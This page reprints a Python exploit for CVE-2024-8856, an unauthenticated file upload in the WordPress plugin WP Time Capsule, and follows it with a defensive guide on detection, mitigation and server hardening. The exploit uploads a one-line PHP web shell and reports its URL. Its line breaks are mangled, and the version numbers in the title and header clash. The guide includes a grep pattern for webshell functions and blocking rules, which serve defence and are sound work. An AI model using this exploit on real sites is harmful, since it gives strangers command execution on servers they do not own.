Backup and Staging by WP Time Capsule 1.22.21 - Unauthenticated Arbitrary File Upload

Exploit Author: Al Baradi Joy Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-06 
# Exploit Title: WordPress Backup and Staging Plugin ≤ 1.21.16 - Arbitrary File Upload to RCE
# Original Author: Patchstack (hypothetical)
# Exploit Author: Al Baradi Joy
# Exploit Date: April 5, 2025
# Vendor Homepage: https://wp-timecapsule.com/
# Software Link: https://wordpress.org/plugins/wp-time-capsule/
# Version: Up to and including 1.21.16
# Tested Versions: 1.21.16
# CVE ID: CVE-2024-8856
# Vulnerability Type: Arbitrary File Upload / Remote Code Execution
# Description:
# The WordPress plugin "Backup and Staging by WP Time Capsule" up to version 1.21.16
# allows unauthenticated attackers to upload arbitrary files via the upload.php endpoint.
# This can lead to remote code execution if a PHP file is uploaded and executed directly
# from the wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/ directory.
# Proof of Concept: Yes
# Categories: WordPress Plugin, File Upload, RCE
# CVSS Score: 9.9 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes:
# Successful exploitation provides shell access as the user running the web server.
# Ensure target is using the vulnerable plugin version before launching the attack.

import requests

# Banner
def display_banner():
print("="*80)
print("Exploit Title: CVE-2024-8856 - WordPress Backup and Staging
Plugin Arbitrary File Upload")
print("Made By Al Baradi Joy")
print("="*80)

# Function to detect if the target supports HTTPS or falls back to HTTP
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"

try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTPS: {https_url}")
return https_url
except requests.exceptions.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")

try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTP: {http_url}")
return http_url
except requests.exceptions.RequestException:
print("[✖] Target is unreachable on both HTTP and HTTPS.")
exit(1)

# Exploit function
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://",
"").replace("https://", "").strip())
upload_url =
f"{target_url}/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload.php"
shell_url =
f"{target_url}/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/shell.php?cmd=whoami"

files = {
'file': ('shell.php', '<?php system($_GET["cmd"]); ?>',
'application/x-php')
}

try:
print(f"[+] Attempting to upload shell to: {upload_url}")
response = requests.post(upload_url, files=files, timeout=10)

if response.status_code == 200:
print(f"[✔] Exploit successful! Webshell available at:
{shell_url}")
else:
print(f"[✖] Failed to upload shell. Status code:
{response.status_code}")

except requests.exceptions.ConnectionError:
print("[✖] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
print("[✖] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[✖] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https):
").strip()
exploit(target)


WP Time Capsule (Backup and Staging) — CVE-2024-8856: Unauthenticated Arbitrary File Upload (Overview, Detection, Mitigation)

The WordPress plugin "Backup and Staging by WP Time Capsule" was reported vulnerable to an unauthenticated arbitrary file upload vulnerability (CVE-2024-8856) in versions up to and including 1.21.16. When exploited, the vulnerability can allow an attacker to place files on the webroot and, in some environments, achieve remote code execution (RCE). This article explains the risk, how to detect signs of compromise, and safe mitigation and hardening steps for site owners and administrators.

Vulnerability summary

At a high level, the flaw allowed unauthenticated POST requests to upload arbitrary files into the plugin’s working directory. If an attacker managed to upload executable server-side code (for example, a PHP file) and the webserver executed that code, the attacker could gain command execution or persist access as the webserver user.

Quick facts

Item Details
Plugin Backup and Staging by WP Time Capsule
Affected versions Up to and including 1.21.16
CVE CVE-2024-8856
Vulnerability type Unauthenticated arbitrary file upload → potential RCE
CVSS v3.1 9.9 (Critical)

How the risk manifests (high level)

  • An HTTP endpoint in the plugin accepted file uploads without adequate authentication or server-side validation.
  • An attacker could upload any file type to a directory that could be reachable or served by the web server.
  • If the uploaded file contains server-side code (PHP) and the server executes it, an attacker can obtain shell access and perform further compromise.

Indicators of Compromise (IoCs) and detection techniques

Administrators should prioritize detection. The following checks are defensive and safe to run on your own systems.

  • Check the plugin version from WordPress or WP-CLI: 
    wp plugin list --format=csv | grep -i "wp-time-capsule"

    Explanation: This WP-CLI command lists installed plugins and their versions. Confirm whether the installed version is within the affected range.

  • Look for unexpected files under the plugin working directories (defensive scan): 
    ls -la wp-content/plugins/wp-time-capsule/ | sed -n '1,120p'
find wp-content/plugins/wp-time-capsule/ -type f -mtime -30 -ls

    Explanation: The first command lists files; the second finds files modified in the last 30 days. Replace the path if your installation uses a different plugin folder. Unexpected PHP files, especially newly created ones in subfolders, are suspicious.

  • Search webserver access logs for suspicious POST/multipart requests to plugin directories: 
    grep -i "wp-time-capsule" /var/log/apache2/access.log* | grep -i "POST"

    Explanation: This searches for POST requests that reference the plugin path; frequent or anomalous requests may indicate attempted or successful uploads.

  • Scan for webshell patterns and suspicious server-side files: 
    grep -R --line-number -E "eval\\(|base64_decode\\(|shell_exec\\(|system\\(|passthru\\(" wp-content/plugins/wp-time-capsule/

    Explanation: This searches for common backdoor function calls inside the plugin directory. Matches require manual review to avoid false positives from legitimate code.

Immediate mitigation steps (priority checklist)

  • Patch or update: Update the WP Time Capsule plugin to the vendor-fixed version immediately via WP Admin or WP-CLI. 
    wp plugin update wp-time-capsule

    Explanation: Upgrading to the fixed release eliminates the vulnerable code paths. Where possible, test updates in staging before production.

  • If you cannot update immediately: disable or deactivate the plugin temporarily to remove the vulnerable endpoint from public access. 
    wp plugin deactivate wp-time-capsule

    Explanation: Deactivating prevents the plugin’s routes from being reachable. Only do this if the plugin is not required for critical runtime operations.

  • Remove suspicious files: After taking a backup, remove any unknown PHP or executable files in plugin folders and document those changes for incident response.
  • Harden the plugin directory (short-term): prevent execution of PHP in the plugin’s working directory by placing a webserver rule (examples below).
  • Rotate secrets and credentials: If you suspect compromise, rotate administrative passwords, database credentials (if potentially exposed), API tokens and any cloud backup credentials used by the plugin.
  • Investigate and recover: preserve logs, capture disk images if warranted, and restore to a known-good backup created prior to the compromise if necessary.

Recommended hardening (preventative configurations)

Below are safe, defensive configurations to reduce the impact of future similar issues. Apply them carefully, test on staging, and adjust to your server stack.

1) Deny PHP execution in plugin subdirectories via .htaccess (Apache)

# Place this in wp-content/plugins/wp-time-capsule/.htaccess

  Require all denied


# Alternatively, deny direct access to the bridge directory

  Require all denied

Explanation: These rules instruct Apache to deny execution or direct access to PHP files in the specified directory. This prevents the server from executing any PHP files an attacker places there. Note: <Directory> blocks are typically used in server configs, while .htaccess supports <FilesMatch>. Confirm compatibility with your environment.

2) Nginx equivalent: deny access to files in that path

location ~* /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/ {
    deny all;
    access_log off;
    log_not_found off;
}

Explanation: This Nginx block denies all HTTP access to the plugin bridge directory, preventing uploaded files from being accessed via the webserver.

3) Serve uploads outside the webroot and validate uploads server-side (PHP example)

// Defensive example: Accepts upload but stores outside webroot and validates content type
$uploadDir = '/var/www/secure_uploads/wp-time-capsule/';
if (!is_dir($uploadDir)) { mkdir($uploadDir, 0700, true); }

$allowedMime = ['image/jpeg', 'image/png', 'application/pdf']; // example whitelist
$finfo = new finfo(FILEINFO_MIME_TYPE);
$tmpName = $_FILES['userfile']['tmp_name'] ?? null;

if ($tmpName && in_array($finfo->file($tmpName), $allowedMime, true)) {
    $safeName = bin2hex(random_bytes(12)) . '-' . basename($_FILES['userfile']['name']);
    move_uploaded_file($tmpName, $uploadDir . $safeName);
} else {
    // reject the upload
    http_response_code(400);
    echo "Invalid file";
}

Explanation: This example demonstrates secure patterns: store files outside webroot, verify MIME type with finfo, use a whitelist, use random filenames, and avoid storing/uploads with web-executable extensions. Adapt allowed MIME types and validation to your use case.

4) ModSecurity (example rule to block suspicious uploads to the plugin folder)

SecRule REQUEST_URI "@beginsWith /wp-content/plugins/wp-time-capsule/" \
  "id:950100,phase:2,deny,log,status:403,msg:'Blocked potential upload to WP Time Capsule directory'"

Explanation: This ModSecurity rule blocks requests to the plugin folder. Use caution: blocking legitimate admin actions could disrupt plugin functions. Apply as a temporary protective measure and adjust with exclusions for trusted admin IPs.

Post-compromise response and recovery

  • Isolate affected systems from the network or restrict inbound access while you investigate.
  • Collect and preserve logs (webserver access/error logs, plugin logs, application logs) for forensic analysis.
  • Identify any persistence mechanisms: scheduled tasks, modified WordPress core or theme files, unknown admin users.
  • Restore from a clean backup taken before the compromise when available; confirm the backup’s integrity before restoring to production.
  • Perform a full credentials rotation and tighten access controls (MFA, stronger admin passwords, least privilege).
  • Notify customers or stakeholders as required by policy or regulation if sensitive data may have been exposed.

Long-term recommendations

  • Keep WordPress core, plugins, and themes updated. Use automated patch management where feasible and validate changes in staging.
  • Limit plugin use to well-maintained, actively supported plugins; remove unused plugins entirely.
  • Harden WordPress: remove unnecessary PHP execution in uploads and plugin directories, implement a Web Application Firewall (WAF), and monitor file integrity.
  • Maintain recent, immutable backups stored offsite and tested regularly for restorability.
  • Run routine vulnerability scans and periodic penetration testing to discover configuration issues before they are exploited.

Resources and references

Final notes

Because arbitrary file upload vulnerabilities can lead to full site compromise, treat any related alert as high priority. Work through detection, containment, remediation, and recovery in a documented manner. When in doubt, consult with a professional incident responder or your hosting provider for assistance in containment and forensic analysis.